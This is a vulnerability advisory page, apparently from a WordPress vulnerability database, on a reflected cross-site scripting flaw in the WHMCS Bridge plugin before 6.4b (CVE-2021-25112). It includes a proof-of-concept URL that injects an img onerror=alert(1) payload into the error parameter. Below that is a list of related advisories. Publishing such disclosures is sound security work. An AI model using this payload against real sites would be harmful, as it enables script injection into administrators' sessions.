Lucene search
Krzysztof ZającWPEX-ID:4AAE2DD9-8D51-4633-91BC-DDB53CA3471CHistoryJan 27, 2022 - 12:00 a.m.
WHMCS Bridge < 6.4b - Reflected Cross-Site Scripting (XSS)
2022-01-2700:00:00
Krzysztof Zając
86
0.001 Low
EPSS
Percentile
41.6%
The plugin does not sanitise and escape the error parameter before outputting it back in admin dashboard, leading to a Reflected Cross-Site Scripting
http://example.com/wp-admin/options-general.php?page=cc-ce-bridge-cp&error=%3Cimg%20src%20onerror=alert(1)%3ERelated
prion
prion
Cross site scripting
2022-02-28 09:15:00
nvd
nvd
CVE-2021-25112
2022-02-28 09:15:08
wpvulndb
wpvulndb
WHMCS Bridge < 6.4b - Reflected Cross-Site Scripting (XSS)
2022-01-27 00:00:00
cve
cve
CVE-2021-25112
2022-02-28 09:15:08
cvelist
cvelist
CVE-2021-25112 WHMCS Bridge < 6.4b - Reflected Cross-Site Scripting (XSS)
2022-02-28 09:06:36
patchstack
patchstack
nuclei
nuclei
WordPress WHMCS Bridge <6.4b - Cross-Site Scripting
2022-03-27 14:25:03
cnvd
cnvd
WordPress WHMCS Bridge plugin cross-site scripting vulnerability
2022-03-02 00:00:00